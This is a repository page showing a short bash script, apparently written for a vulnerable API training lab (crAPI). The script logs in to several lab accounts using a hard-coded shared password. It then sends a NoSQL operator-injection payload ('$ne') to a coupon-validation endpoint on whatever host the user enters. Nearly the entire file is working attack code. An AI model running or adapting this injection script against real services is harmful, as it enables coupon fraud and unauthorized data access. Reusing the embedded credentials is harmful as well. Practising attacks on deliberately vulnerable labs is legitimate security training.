You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

sql_coupon.sh 1.5KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849
  1. #!/bin/bash
  2. # Prompt the user to enter the value of HOSTNAME
  3. read -p "Enter the HOSTNAME: " HOSTNAME
  4. # Function to obtain access token for a given email and password
  5. get_access_token() {
  6. local email=$1
  7. local password=$2
  8. # Use curl to get the access token and jq to extract it
  9. local access_token=$(curl "http://$HOSTNAME/identity/api/auth/login" \
  10. -H 'Content-Type: application/json' \
  11. --data-raw '{"email":"'"$email"'","password":"'"$password"'"}' \
  12. --insecure -s | jq -j .token)
  13. echo "$access_token"
  14. }
  15. # Define the common password
  16. COMMON_PASSWORD='cRaPi2023!!!'
  17. # Define the email addresses
  18. emails=(
  19. 'apilab@akamai.com'
  20. 'apilab2@akamai.com'
  21. 'apilab3@akamai.com'
  22. 'apilab4@akamai.com'
  23. )
  24. for ((i=0; i<${#emails[@]}; i++)); do
  25. access_token=$(get_access_token "${emails[i]}" "$COMMON_PASSWORD")
  26. curl "http://$HOSTNAME/community/api/v2/coupon/validate-coupon" \
  27. -H "Accept: */*" \
  28. -H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
  29. -H "Authorization: Bearer $access_token" \
  30. -H "Cache-Control: no-cache" \
  31. -H "Connection: keep-alive" \
  32. -H "Content-Type: application/json" \
  33. -H "DNT: 1" \
  34. -H "Origin: http://$HOSTNAME" \
  35. -H "Pragma: no-cache" \
  36. -H "Referer: http://$HOSTNAME/shop" \
  37. -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
  38. --data-raw '{"coupon_code": {"$ne": "1"}}' \
  39. --compressed \
  40. --insecure | jq -j
  41. done